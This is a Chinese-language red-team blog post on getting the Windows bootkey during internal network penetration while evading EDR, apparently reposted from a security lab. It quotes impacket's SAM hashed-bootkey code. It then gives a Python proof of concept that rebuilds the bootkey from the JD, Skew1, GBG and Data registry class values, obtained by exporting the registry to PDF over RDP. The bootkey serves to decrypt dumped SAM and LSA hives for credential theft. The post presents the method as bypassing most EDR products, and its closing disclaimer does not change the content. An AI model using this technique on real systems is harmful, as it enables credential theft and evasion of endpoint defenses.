文章总结: 本文介绍了在内网渗透中绕过EDR获取bootkey的技术方法。作者指出传统远程读取注册表的方式已被EDR拦截,并提出了一种替代方案:通过导出PDF获取注册表中的JD、Skew1、GBG、Data四个键的属性值,然后使用特定算法组装成bootkey。这种方法目前大部分EDR无法有效拦截,为内网渗透提供了可行的技术路径。
综合评分: 87
文章分类: 内网渗透,红队,渗透测试,漏洞分析,应急响应
内网渗透实战技巧-绕过EDR获取bootkey
原创
天禄实验室
天禄网络安全实验室
2025年10月26日 18:01
四川
前言
与EDR的对抗是一条漫长的不归路,就目前来讲,拆解问题,找出并绕过EDR查杀点是作者喜欢的思路。
但本文只聚焦于纯粹的攻击操作层面的绕过,并不设计软件层面的对抗。
什么是bootkey?
具体来说,它从注册表SYSTEM\CurrentControlSet\Control\Lsa下四个键(JD、Skew1、GBG、Data)的类属性中派生得出。这些值是十六进制编码的 Unicode 字符串,通过固定排列算法组装和解扰,形成 16 字节的 bootkey
而在内网渗透过程中,获取bootkey是渗透SAM和LSA不可或缺的一环
传统方式获取bootkey
以impacket代码为例
def getHBootKey(self):
LOG.debug('Calculating HashedBootKey from SAM')
QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = b"0123456789012345678901234567890123456789\0"
F = self.__remoteOps.retrieveSubKey(r'SAM\SAM\Domains\Account', 'F', throttle=self.__throttle)[1]
domainData = DOMAIN_ACCOUNT_F(F)
if domainData['Key0'][0:1] == b'\x01':
samKeyData = SAM_KEY_DATA(domainData['Key0'])
rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(samKeyData['Key'] + samKeyData['CheckSum'])
# Verify key with checksum
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
elif domainData['Key0'][0:1] == b'\x02':
# This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
很明显可以看出impacket直接使用远程读取注册表的方式获取并算法组装得到bootkey,但遗憾的是这种方式已经完全被EDR拦截了
与EDR对抗
根据国外某研究员的发现,直接在注册表通过导出pdf可以得到组装bootkey所需要的键的属性值(JD、Skew1、GBG、Data)
所以我们现在成功获取到了四个属性值,只需要通过算法即可组装得到所需的bootkey,而这种方法目前实测只被sentinelone拦截查杀(但实际依然可以绕过)
这里给出组装bootkey的算法poc
def get_bootkey(jd: str, skew1: str, gbg: str, data: str) -> str:
"""
Reassemble the Boot Key from the given parts.
"""
raw_hex = jd + skew1 + gbg + data
try:
raw_bytes = bytes.fromhex(raw_hex)
except ValueError as e:
print("Error: Input parameters must be valid hexadecimal strings")
sys.exit(1)
transform: List[int] = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
bootkey_bytes: bytes = b''.join(raw_bytes[i:i+1] for i in transform)
return bootkey_bytes.hex()
得到bootkey后即可以用于解密导出的注册表hive文件
后记
至于如何才能导出PDF,一般只能通过RDP使用注册表的GUI界面导出,但这一步依然有操作空间
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:天禄网络安全实验室 天禄实验室《内网渗透实战技巧-绕过EDR获取bootkey》